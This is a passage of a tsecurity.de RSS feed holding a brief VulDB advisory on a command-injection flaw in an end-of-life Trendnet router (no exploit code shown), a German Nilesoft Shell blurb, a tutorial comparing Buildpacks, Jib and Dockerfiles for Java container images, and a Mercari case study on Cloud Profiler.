<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability marked as <a href="https://vuldb.com/kb/risk">critical</a> has been reported in <a href="https://vuldb.com/product/trendnet:tew-635brm">Trendnet TEW-635BRM up to 1.00.03</a>. This vulnerability affects the function <code>ipoa_test</code> of the file <em>/sbin/rc</em> of the component <em>IPoA WAN Connection Setup</em>. Performing a manipulation of the argument <em>ipoa_ipaddr</em> results in command injection. This vulnerability only affects products that are no longer supported by the maintainer.

This vulnerability is reported as <a href="https://vuldb.com/cve/CVE-2026-15481">CVE-2026-15481</a>. The attack is possible to be carried out remotely. Moreover, an exploit is present.

The vendor explains: "We are unable to confirm if the vulnerability exists. This item has been EOL since 2011. We will make an official announcement of possible vulnerabilities, and recommend users to switch devices."]]></content:encoded>
</item>
<item>
<title><![CDATA[Nilesoft Shell: Winget-Setup-Befehl bringt neue Windows-11-Taskleisten-Funktionen]]></title>
<description><![CDATA[Das Kontextmenü der Taskleiste von Windows 11 ist spärlich: Die Einträge-Anzahl und somit die Funktionalität ist im Vergleich zu Windows 10 deutlich ausgedünnt. Dagegen hilft das Tool "Nilesoft Shell", das Sie mit einem Befehl installieren.]]></description>
<link>https://tsecurity.de/de/3663174/it-nachrichten/nilesoft-shell-winget-setup-befehl-bringt-neue-windows-11-taskleisten-funktionen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3663174/it-nachrichten/nilesoft-shell-winget-setup-befehl-bringt-neue-windows-11-taskleisten-funktionen/</guid>
<pubDate>Sun, 12 Jul 2026 13:03:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Das Kontextmenü der Taskleiste von Windows 11 ist spärlich: Die Einträge-Anzahl und somit die Funktionalität ist im Vergleich zu Windows 10 deutlich ausgedünnt. Dagegen hilft das Tool "Nilesoft Shell", das Sie mit einem Befehl installieren.]]></content:encoded>
</item>
<item>
<title><![CDATA[Buildpacks vs Jib vs Dockerfile: Comparing containerization methods]]></title>
<description><![CDATA[As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of ...]]></description>
<link>https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662836/it-security-nachrichten/buildpacks-vs-jib-vs-dockerfile-comparing-containerization-methods/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:57 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p>As developers we work on source code, but production systems don't run source, they need a runnable thing. Starting many years ago, most enterprises were using Java EE (aka J2EE) and the runnable "thing" we would deploy to production was a ".jar", ".war", or ".ear" file. Those files consisted of the compiled Java classes and would run inside of a "container" running on the JVM. As long as your class files were compatible with the JVM and container, the app would just work.</p><p>That all worked great until people started building non-JVM stuff: Ruby, Python, NodeJS, Go, etc. Now we needed another way to package up apps so they could be run on production systems. To do this we needed some kind of virtualization layer that would allow anything to be run. Heroku was one of the first to tackle this and they used a Linux virtualization system called "lxc" - short for Linux Containers. Running a "container" on lxc was half of the puzzle because still a "container" needed to be created from source code, so Heroku invented what they called "Buildpacks" to create a standard way to convert source into a container.</p><p>A bit later a Heroku competitor named dotCloud was trying to tackle similar problems and went a different route which ultimately led to Docker, a standard way to create and run containers across platforms including Windows, Mac, Linux, Kubernetes, and Google Cloud Run. Ultimately the container specification behind Docker became a standard under the <a href="https://opencontainers.org/" target="_blank">Open Container Initiative (OCI)</a> and the virtualization layer switched from lxc to <a href="https://github.com/opencontainers/runc" target="_blank">runc</a> (also an OCI project).</p><p>The traditional way to build a Docker container is built into the <code>docker</code> tool and uses a sequence of special instructions usually in a file named <code>Dockerfile</code> to compile the source code and assemble the "layers" of a container image.</p><p>Yeah, this is confusing because we have all sorts of different "containers" and ways to run stuff in those containers. And there are also many ways to create the things that run in containers. The bit of history is important because it helps us categorize all of this into three parts:</p><ul><li>Container Builders - Turn source code into a Container Image</li><li>Container Images - Archive files containing a "runnable" application</li><li>Containers - Run Container Images</li></ul><p>With Java EE those three categories map to technologies like:</p><ul><li>Container Builders == Ant or Maven</li><li>Container Images == .jar, .war, or .ear</li><li>Containers == JBoss, WebSphere, WebLogic</li></ul><p>With Docker / OCI those three categories map to technologies like:</p><ul><li>Container Builders == Dockerfile, Buildpacks, or Jib</li><li>Container Images == .tar files usually not dealt with directly but through a "container registry"</li><li>Containers == Docker, Kubernetes, Cloud Run</li></ul><h3>Java Sample Application</h3>Let's explore the Container Builder options further on a little Java server application.  If you want to follow along, clone my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a>:<p><code>git clone https://github.com/jamesward/comparing-docker-methods.git</code><br></p><p><code>cd comparing-docker-methods</code></p><p></p><p>In that project you'll see a basic Java web server in <code>src/main/java/com/google/WebApp.java</code> that just responds with "hello, world" on a GET request to <code>/</code>. Here is the source:<br></p><p></p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'package com.google;\r\n\r\nimport com.sun.net.httpserver.HttpServer;\r\nimport java.io.IOException;\r\nimport java.io.OutputStream;\r\nimport java.net.InetSocketAddress;\r\n\r\npublic class WebApp {\r\n\r\n  public static void main(String[] args) throws IOException {\r\n    int port = Integer.parseInt(System.getenv().getOrDefault("PORT", "8080"));\r\n    HttpServer server = HttpServer.create(new InetSocketAddress(port), 0);\r\n\r\n    server.createContext("/", handler -&gt; {\r\n      byte[] response = "hello, world".getBytes();\r\n      handler.sendResponseHeaders(200, response.length);\r\n      try (OutputStream os = handler.getResponseBody()) {\r\n        os.write(response);\r\n      }\r\n    });\r\n\r\n    System.out.println("Listening at http://localhost:" + port);\r\n\r\n    server.start();\r\n  }\r\n}'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860670&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>This project uses Maven with a minimal <code>pom.xml</code> build config file for compiling and running the Java server:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;?xml version="1.0" encoding="UTF-8"?&gt;\r\n&lt;project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"\r\n    xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd"&gt;\r\n  &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;\r\n\r\n  &lt;groupId&gt;com.google&lt;/groupId&gt;\r\n  &lt;artifactId&gt;sample-java-mvn&lt;/artifactId&gt;\r\n  &lt;packaging&gt;jar&lt;/packaging&gt;\r\n  &lt;version&gt;0.1.0-SNAPSHOT&lt;/version&gt;\r\n\r\n  &lt;properties&gt;\r\n    &lt;maven.compiler.source&gt;8&lt;/maven.compiler.source&gt;\r\n    &lt;maven.compiler.target&gt;8&lt;/maven.compiler.target&gt;\r\n  &lt;/properties&gt;\r\n\r\n  &lt;build&gt;\r\n    &lt;plugins&gt;\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.codehaus.mojo&lt;/groupId&gt;\r\n        &lt;artifactId&gt;exec-maven-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;1.6.0&lt;/version&gt;\r\n        &lt;executions&gt;\r\n          &lt;execution&gt;\r\n            &lt;goals&gt;\r\n              &lt;goal&gt;java&lt;/goal&gt;\r\n            &lt;/goals&gt;\r\n          &lt;/execution&gt;\r\n        &lt;/executions&gt;\r\n        &lt;configuration&gt;\r\n          &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n\r\n      &lt;plugin&gt;\r\n        &lt;groupId&gt;org.apache.maven.plugins&lt;/groupId&gt;\r\n        &lt;artifactId&gt;maven-jar-plugin&lt;/artifactId&gt;\r\n        &lt;version&gt;3.2.0&lt;/version&gt;\r\n        &lt;configuration&gt;\r\n          &lt;archive&gt;\r\n            &lt;manifest&gt;\r\n              &lt;mainClass&gt;com.google.WebApp&lt;/mainClass&gt;\r\n            &lt;/manifest&gt;\r\n          &lt;/archive&gt;\r\n        &lt;/configuration&gt;\r\n      &lt;/plugin&gt;\r\n    &lt;/plugins&gt;\r\n  &lt;/build&gt;\r\n\r\n&lt;/project&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860c10&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>If you want to run this locally make sure you have Java 8 installed and from the project root directory, run:</p><p><code>./mvnw compile exec:java</code></p><p>You can test the server by visiting: <a href="http://localhost:8080/" target="_blank">http://localhost:8080</a></p><h3>Container Builder: Buildpacks</h3><p>We have an application that we can run locally so let's get back to those Container Builders. Earlier you learned that Heroku invented Buildpacks to create standard, polyglot ways to go from source to a Container Image. When Docker / OCI Containers started gaining popularity Heroku and Pivotal worked together to make their Buildpacks work with Docker / OCI Containers. That work is now a sandbox Cloud Native Computing Foundation project: <a href="https://buildpacks.io/" target="_blank">https://buildpacks.io/</a></p><p>To use Buildpacks you will need to <a href="https://docs.docker.com/get-started/" target="_blank">install Docker</a> and <a href="https://github.com/buildpacks/pack/releases" target="_blank">the pack tool</a>. Now from the command line tell Buildpacks to take your source and turn it into a Container Image:</p><p><code>pack build --builder=gcr.io/buildpacks/builder:v1 comparing-docker-methods:buildpacks</code></p><p>Magic! You didn't have to do anything and the Buildpacks knew how to turn that Java application into a Container Image. It even works on Go, NodeJS, Python, and .Net apps out-of-the-box. So what just happened?  Buildpacks inspect your source and try to identify it as something it knows how to build. In the case of our sample application it noticed the <code>pom.xml</code> file and decided it knows how to build Maven-based applications. The <code>--builder</code> flag told it where to get the Buildpacks from. In this case, <code>gcr.io/buildpacks/builder:v1</code> are the Container Image coordinates to <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks">Google Cloud's Buildpacks</a>. Alternatively you could use the Heroku or Paketo Buildpacks. The parameter <code>comparing-docker-methods:buildpacks</code> is the Container Image coordinates for where to store the output. In this case it stores on the local docker daemon. You can now run that Container Image locally with <code>docker</code>:</p><p><code>docker run -it -ePORT=8080 -p8080:8080 comparing-docker-methods:buildpacks</code></p><p>Of course you can also run that Container Image anywhere that runs Docker / OCI Containers like Kubernetes and Cloud Run.</p><p>Buildpacks are nice because in many cases they just work and you don't have to do anything special to turn your source into something runnable. But the resulting Container Images created from Buildpacks can be a bit bulky. Let's use a tool called <a href="https://github.com/wagoodman/dive" target="_blank"><code>dive</code></a> to examine what is in the created container image:</p><p><code>dive comparing-docker-methods:buildpacks</code></p><p></p><p></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Dive_comparison.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>Here you can see the Container Image has 11 layers and a total image size of 319MB. With <code>dive</code> you can explore each layer and see what was changed. In this Container Image the first 6 layers are the base operating system. Layer 7 is the JVM and layer 8 is our compiled application. Layering enables great caching so if only layer 8 changes, then layers 1 through 7 do not need to be re-downloaded. One downside of Buildpacks is how (at least for now) all of the dependencies and compiled application code are stored in a single layer. It would be better to have separate layers for the dependencies and the compiled application.</p><p>To recap, Buildpacks are the easy option that "just works" right out-of-the-box. But the Container Images are a bit large and not optimally layered.</p><h3>Container Builder: Jib</h3><p>The open source <a href="https://github.com/GoogleContainerTools/jib" target="_blank">Jib project</a> is a Java library for creating Container Images with Maven and Gradle plugins. To use it on a Maven project (like the one we from above), just add a build plugin to the <code>pom.xml</code> file:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', '&lt;plugin&gt;\r\n    &lt;groupId&gt;com.google.cloud.tools&lt;/groupId&gt;\r\n    &lt;artifactId&gt;jib-maven-plugin&lt;/artifactId&gt;\r\n    &lt;version&gt;2.6.0&lt;/version&gt;\r\n&lt;/plugin&gt;'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d30&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>Now a Container Image can be created and stored in the local docker daemon by running:</p><p><code>./mvnw compile jib:dockerBuild -Dimage=comparing-docker-methods:jib</code></p><p>Using <code>dive</code> we will see that the Container Image for this application is now only 127MB thanks to slimmer operating system and JVM layers. Also, on a Spring Boot application we can see how Jib layers the dependencies, resources, and compiled application for better caching:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Spring_Boot_Application.max-1000x1000.png" alt="Spring Boot Application">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>In this example the 18MB layer contains the runtime dependencies and the final layer contains the compiled application. Unlike with Buildpacks the original source code is not included in the Container Image. Jib also has a great feature where you can use it without docker being installed, as long as you store the Container Image on an external Container Registry (like DockerHub or the Google Cloud Container Registry). Jib is a great option with Maven and Gradle builds for Container Images that use the JVM.</p><h3>Container Builder: Dockerfile</h3><p>The traditional way to create Container Images is built into the <code>docker</code> tool and uses a sequence of instructions defined in a file usually named <code>Dockerfile</code>. Here is a <code>Dockerfile</code> you can use with the sample Java application:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM adoptopenjdk/openjdk8 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nFROM adoptopenjdk/openjdk8:jre\r\n\r\nCOPY --from=builder /app/target/*.jar /server.jar\r\n\r\nCMD ["java", "-jar", "/server.jar"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860d90&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>In this example, the first four instructions start with the AdoptOpenJDK 8 Container Image and build the source to a Jar file. The final Container Image is created from the AdoptOpenJDK 8 JRE Container Image and includes the created Jar file. You can run <code>docker</code> to create the Container Image using the <code>Dockerfile</code> instructions:</p><p><code>docker build -t comparing-docker-methods:dockerfile </code></p><p>Using <code>dive</code> we can see a pretty slim Container Image at 209MB:<br></p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Container_image.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>With a <code>Dockerfile</code> we have full control over the layering and base images. For example, we could use the <a href="https://github.com/GoogleContainerTools/distroless/tree/master/java" target="_blank">Distroless Java base image</a> to trim down the Container Image even further. This method of creating Container Images provides a lot of flexibility but we do have to write and maintain the instructions.</p><p>With this flexibility we can do some cool stuff. For example, we can use GraalVM to create a "native image" of our application. This is an ahead-of-time compiled binary which can reduce startup time, reduce memory usage, and alleviate the need for a JVM in the Container Image. And we can go even further and create a statically linked native image which includes everything needed to run so that even an operating system is not needed in the Container Image. Here is the Dockerfile to do that:</p></div>
<div class="block-code"><dl>
    <dt>code_block</dt>
    <dd>&lt;ListValue: [StructValue([('code', 'FROM oracle/graalvm-ce:20.2.0-java11 as builder\r\n\r\nWORKDIR /app\r\nCOPY . /app\r\n\r\nRUN gu install native-image\r\n\r\n# BEGIN PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n# SEE: https://github.com/oracle/graal/blob/master/substratevm/StaticImages.md\r\nARG RESULT_LIB="/staticlibs"\r\n\r\nRUN mkdir ${RESULT_LIB} &amp;&amp; \\\r\n    curl -L -o musl.tar.gz https://musl.libc.org/releases/musl-1.2.1.tar.gz &amp;&amp; \\\r\n    mkdir musl &amp;&amp; tar -xvzf musl.tar.gz -C musl --strip-components 1 &amp;&amp; cd musl &amp;&amp; \\\r\n    ./configure --disable-shared --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /muscl &amp;&amp; rm -f /musl.tar.gz &amp;&amp; \\\r\n    cp /usr/lib/gcc/x86_64-redhat-linux/4.8.2/libstdc++.a ${RESULT_LIB}/lib/\r\n\r\nENV PATH="$PATH:${RESULT_LIB}/bin"\r\nENV CC="musl-gcc"\r\n\r\nRUN curl -L -o zlib.tar.gz https://zlib.net/zlib-1.2.11.tar.gz &amp;&amp; \\\r\n   mkdir zlib &amp;&amp; tar -xvzf zlib.tar.gz -C zlib --strip-components 1 &amp;&amp; cd zlib &amp;&amp; \\\r\n   ./configure --static --prefix=${RESULT_LIB} &amp;&amp; \\\r\n    make &amp;&amp; make install &amp;&amp; \\\r\n    cd / &amp;&amp; rm -rf /zlib &amp;&amp; rm -f /zlib.tar.gz\r\n#END PRE-REQUISITES FOR STATIC NATIVE IMAGES FOR GRAAL 20.2.0\r\n\r\nRUN ./mvnw compile jar:jar\r\n\r\nRUN native-image \\\r\n  --static \\\r\n  --libc=musl \\\r\n  --no-fallback \\\r\n  --no-server \\\r\n  --install-exit-handlers \\\r\n  -H:Name=webapp \\\r\n  -cp /app/target/*.jar \\\r\n  com.google.WebApp\r\n\r\nFROM scratch\r\n\r\nCOPY --from=builder /app/webapp /webapp\r\n\r\nENTRYPOINT ["/webapp"]'), ('language', ''), ('caption', &lt;wagtail.rich_text.RichText object at 0x7f58aa860df0&gt;)])]&gt;</dd>
</dl></div>
<div class="block-paragraph"><p>You will see there is a bit of setup needed to support static native images. After that setup the Jar is compiled like before with Maven. Then the <code>native-image</code> tool creates the binary from the Jar. The <code>FROM scratch</code> instruction means the final container image will start with an empty one. The statically linked binary created by <code>native-image</code> is then copied into the empty container.</p><p>Like before you can use <code>docker</code> to build the Container Image:</p><p><code>docker build -t comparing-docker-methods:graalvm .</code></p><p>Using <code>dive</code> we can see the final Container Image is only 11MB!</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Dive_Image.max-1000x1000.png" alt="Container Image">
        
        
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>And it starts up super fast because we don't need the JVM, OS, etc. Of course GraalVM is not always a great option as there are some challenges like dealing with reflection and debugging. You can read more about this in my blog, <a href="https://jamesward.com/2020/05/07/graalvm-native-image-tips-tricks/" target="_blank">GraalVM Native Image Tips &amp; Tricks</a>.</p><p>This example does capture the flexibility of the <code>Dockerfile</code> method and the ability to do anything you need. It is a great escape hatch when you need one.</p><h3>Which Method Should You Choose?</h3><p></p><ul><li>The easiest, polyglot method: Buildpacks</li><li>Great layering for JVM apps: Jib</li><li>The escape hatch for when those methods don't fit: Dockerfile</li></ul><p></p><p>Check out my <a href="https://github.com/jamesward/comparing-docker-methods" target="_blank">comparing-docker-methods project</a> to explore these methods as well as the mentioned Spring Boot + Jib example.</p></div>
<div class="block-related_article_tout">





<div class="uni-related-article-tout h-c-page">
  <section class="h-c-grid">
    <a href="https://cloud.google.com/blog/products/containers-kubernetes/google-cloud-now-supports-buildpacks/" data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }' class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker">
      <div class="uni-related-article-tout__inner-wrapper">
        <p class="uni-related-article-tout__eyebrow h-c-eyebrow">Related Article</p>

        <div class="uni-related-article-tout__content-wrapper">
          <div class="uni-related-article-tout__image-wrapper">
            <div class="uni-related-article-tout__image"></div>
          </div>
          <div class="uni-related-article-tout__content">
            <h4 class="uni-related-article-tout__header h-has-bottom-margin">Announcing Google Cloud buildpacks—container images made easy</h4>
            <p class="uni-related-article-tout__body">Google Cloud buildpacks make it much easier and faster to build applications on top of containers.</p>
            <div class="cta module-cta h-c-copy  uni-related-article-tout__cta muted">
              <span class="nowrap">Read Article
                <svg class="icon h-c-icon" role="presentation">
                  <use xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="#mi-arrow-forward"></use>
                </svg>
              </span>
            </div>
          </div>
        </div>
      </div>
    </a>
  </section>
</div>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How Mercari reduced request latency by 15% with Cloud Profiler]]></title>
<description><![CDATA[Editor’s note: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservi...]]></description>
<link>https://tsecurity.de/de/3662835/it-security-nachrichten/how-mercari-reduced-request-latency-by-15-with-cloud-profiler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3662835/it-security-nachrichten/how-mercari-reduced-request-latency-by-15-with-cloud-profiler/</guid>
<pubDate>Sun, 12 Jul 2026 08:06:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div class="block-paragraph"><p><i><b>Editor’s note</b>: For retailers, predicting consumers’ desires and demand is the holy grail. For retail IT, the goal is understanding the performance of your ecommerce applications. Here, Japanese online retailer Mercari shows how they used Cloud Profiler and Trace to understand a complex microservices-based application running on Google Cloud, to meet rigorous SLOs as demand shifts for their products. </i></p><p>The events of 2020 have accelerated ecommerce, increasing demand for and traffic on online marketplaces. Analyst eMarketer <a href="https://www.emarketer.com/content/us-ecommerce-will-rise-18-2020-amid-pandemic?ecid=NL1001" target="_blank">predicts</a> that ecommerce sales in the United States will grow 18% in 2020, against an overall fall in total retail sales of 10.5% for the year. Likewise, our business—Japan-headquartered consumer-to-consumer marketplace <a href="https://www.mercari.com/us/help_center/article/22" target="_blank">Mercari Inc</a>—is growing rapidly. In the United States alone, we have seen 74% year-on-year growth in monthly average users to 3.4 million. A big part of our success are our robust payment and deposit systems and AI-based fraud monitoring, which enable sellers to list items for purchase and buyers to complete transactions safely. </p><p>Mercari started as a monolithic application but as complexity grew we decided to transition to a microservices architecture. And through it all, tools like Cloud Profiler and Cloud Trace helped us track down performance problems in our code, significantly improving latency.</p><h3>A microservices menagerie</h3><p>Today, we run 80+ microservices on Google Cloud with a mix of languages including Go, Python, JavaScript and Java. To deliver this new architecture, we created a gateway-like microservice to route traffic from soon-to-be migrated monolithic service to the Google Cloud microservices, which  delivers a range of features. </p><p>After creating several microservices, we identified common requirements and created a template to accelerate their development. These common requirements included: </p><ul><li><p>Exporting metrics to Prometheus</p></li><li><p>A gRPC server and interceptors</p></li><li><p>Error Reporting, Cloud Trace and Cloud Profiler. Error Reporting counts, analyzes and aggregates crashes in running cloud services, while Cloud Trace provides a view of requests as they flow through microservices and Cloud Profiler shows how microservices consume CPU, memory and threads.  </p></li></ul><p>We then used Python to create a template for machine learning services, also expediting the creation of new microservices. This has enabled us to grow the number of microservices we use in order to address new requirements. However, as our microservices proliferated, we needed to efficiently monitor and understand their performance. </p><h3>Maintaining SLO a challenge</h3><p>In particular, we needed to monitor the impact of new versions on the production environment and the efficiency of production operations, so we could maintain our service level objective (SLO) for success rates of 99.95% and 350 milliseconds for 95% latency. </p><p>Our engineering team also uses canary deployments to detect issues with new versions of major services. However, despite applying these measures, we found it challenging to maintain our SLO when our business grew faster than expected or during unanticipated spikes in demand. Some issues can be obvious or easy to detect. For example, if a service is experiencing high CPU utilization, we could simply place or fine tune our horizontal pod autoscaler (HPA) to resolve the problem. However, other issues may be less obvious. For example, a drop in performance may not directly be tied to a specific release—it may instead be due to unexpected requests, or may arise from changes to multiple functions in a single code release. </p><h3>Using Cloud Profiler and Cloud Trace to minimize performance issues</h3><p>In particular, our business-critical UserStats service, which tracks the speed with which a user replies to a message and how fast and reliably a seller ships an item, recently started performing poorly. </p><p>New feature requirements had prompted us to track how often a seller cancels an order and provide statistics. However, while adding this new functionality, the change refactored other functions, meaning we were unable to identify the function experiencing reduced performance. Since most of our services are enabled with Cloud Profiler and Cloud Trace, we turned to these products to investigate and identify the root cause.  </p><p>Before the change:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        <a href="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace.max-2800x2800.jpg" rel="external" target="_blank">
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace.max-1000x1000.jpg" alt="Using Cloud Profiler and Cloud Trace.jpg">
        
        </a>
      
        <figcaption class="article-image__caption "><i>Click to enlarge</i></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>After the change:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        <a href="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace_2_1.max-2800x2800.jpg" rel="external" target="_blank">
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Using_Cloud_Profiler_and_Cloud_Trace_2_1.max-1000x1000.jpg" alt="Using Cloud Profiler and Cloud Trace 2 (1).jpg">
        
        </a>
      
        <figcaption class="article-image__caption "><i>Click to enlarge</i></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>These two Cloud Profiler views show the CPU time of the call stack increased from 457 milliseconds to 904 milliseconds, with most of the delta attributable to the <b>_UserStats_SellerCancelStats_Handler</b> function. But because other functions also saw variations in their CPU consumption, and because calls occurred in parallel, we found it difficult to identify the cause of latency increases. The fact that this function call was necessary meant we could not remove the entire function. </p><p>We checked Cloud Trace and confirmed the function call had increased overall latency on some requests, similar to below:</p></div>
<div class="block-image_full_width">






  
    <div class="article-module h-c-page">
      <div class="h-c-grid">
  

    <figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      ">

      
      
        <a href="https://storage.googleapis.com/gweb-cloudblog-publish/images/trace_waterfall_view.max-2800x2800.jpg" rel="external" target="_blank">
      
        
        <img src="https://storage.googleapis.com/gweb-cloudblog-publish/images/trace_waterfall_view.max-1000x1000.jpg" alt="trace waterfall view.jpg">
        
        </a>
      
        <figcaption class="article-image__caption "><i>Click to enlarge</i></figcaption>
      
    </figure>

  
      </div>
    </div>
  




</div>
<div class="block-paragraph"><p>We analyzed the service with Cloud Profiler and identified hot spots that were contributing to the increase in CPU time consumption. We optimized these hot functions, deployed the new code, used Cloud Profiler to verify that the changes had the desired effect of reducing the CPU time. Doing so, we were able to improve latency by 10% to 15%!</p><h3>Simplifying the DevOps experience</h3><p>Before adopting Cloud Profiler, profiling production services was a tedious and manual undertaking involving recompiling with debug flags; deployment to production environments, and using disparate  tools to collect profiles and perform analysis. Containerization only increased this complexity, further reducing developer productivity. </p><p>Cloud Profiler enables us to continuously profile production environments with small and simple code changes, replacing the tedious work previously required to set up environments for performance analysis. <a href="https://cloud.google.com/profiler/docs/about-profiler#performance_impact">Low overhead</a> continuous profiling with Cloud Profiler helps us react swiftly to changes in service performance by root causing and resolving issues quickly.</p><p>Further, tools such as Cloud Trace and Cloud Profiler require minimal effort to setup and provide a consistent DevOps experience for our service owners. This is particularly important as we grow in the United States and elsewhere. Without Google Cloud, monitoring, debugging and profiling across production environments that feature a mix of languages, technology stacks, frameworks and containers would be extremely challenging and time-consuming. The release of new features and experiences in tools such as Cloud Profiler make us glad we chose Google Cloud as our primary cloud platform. We will continue to work with new features and provide feedback to Google Cloud, so it can continue to provide a better service to users.  </p><p><i>Visit the Google Cloud website to learn more about <a href="https://cloud.google.com/profiler">Cloud Profiler</a> and <a href="https://cloud.google.com/trace">Cloud Trace</a>.</i></p></div>
<div class="block-related_article_tout">





<div class="uni-related-article-tout h-c-page">
  <section class="h-c-grid">
    <a href="https://cloud.google.com/blog/topics/customers/mercari-relies-on-google-cloud-premium-support-and-technical-account-management/" data-analytics='{
                       "event": "page interaction",
                       "category": "article lead",
                       "action": "related article - inline",
                       "label": "article: {slug}"
                     }' class="uni-related-article-tout__wrapper h-c-grid__col h-c-grid__col--8 h-c-grid__col-m--6 h-c-grid__col-l--6
        h-c-grid__col--offset-2 h-c-grid__col-m--offset-3 h-c-grid__col-l--offset-3 uni-click-tracker">
      <div class="uni-related-article-tout__inner-wrapper">
        <p class="uni-related-article-tout__eyebrow h-c-eyebrow">Related Article</p>

        <div class="uni-related-article-tout__content-wrapper">
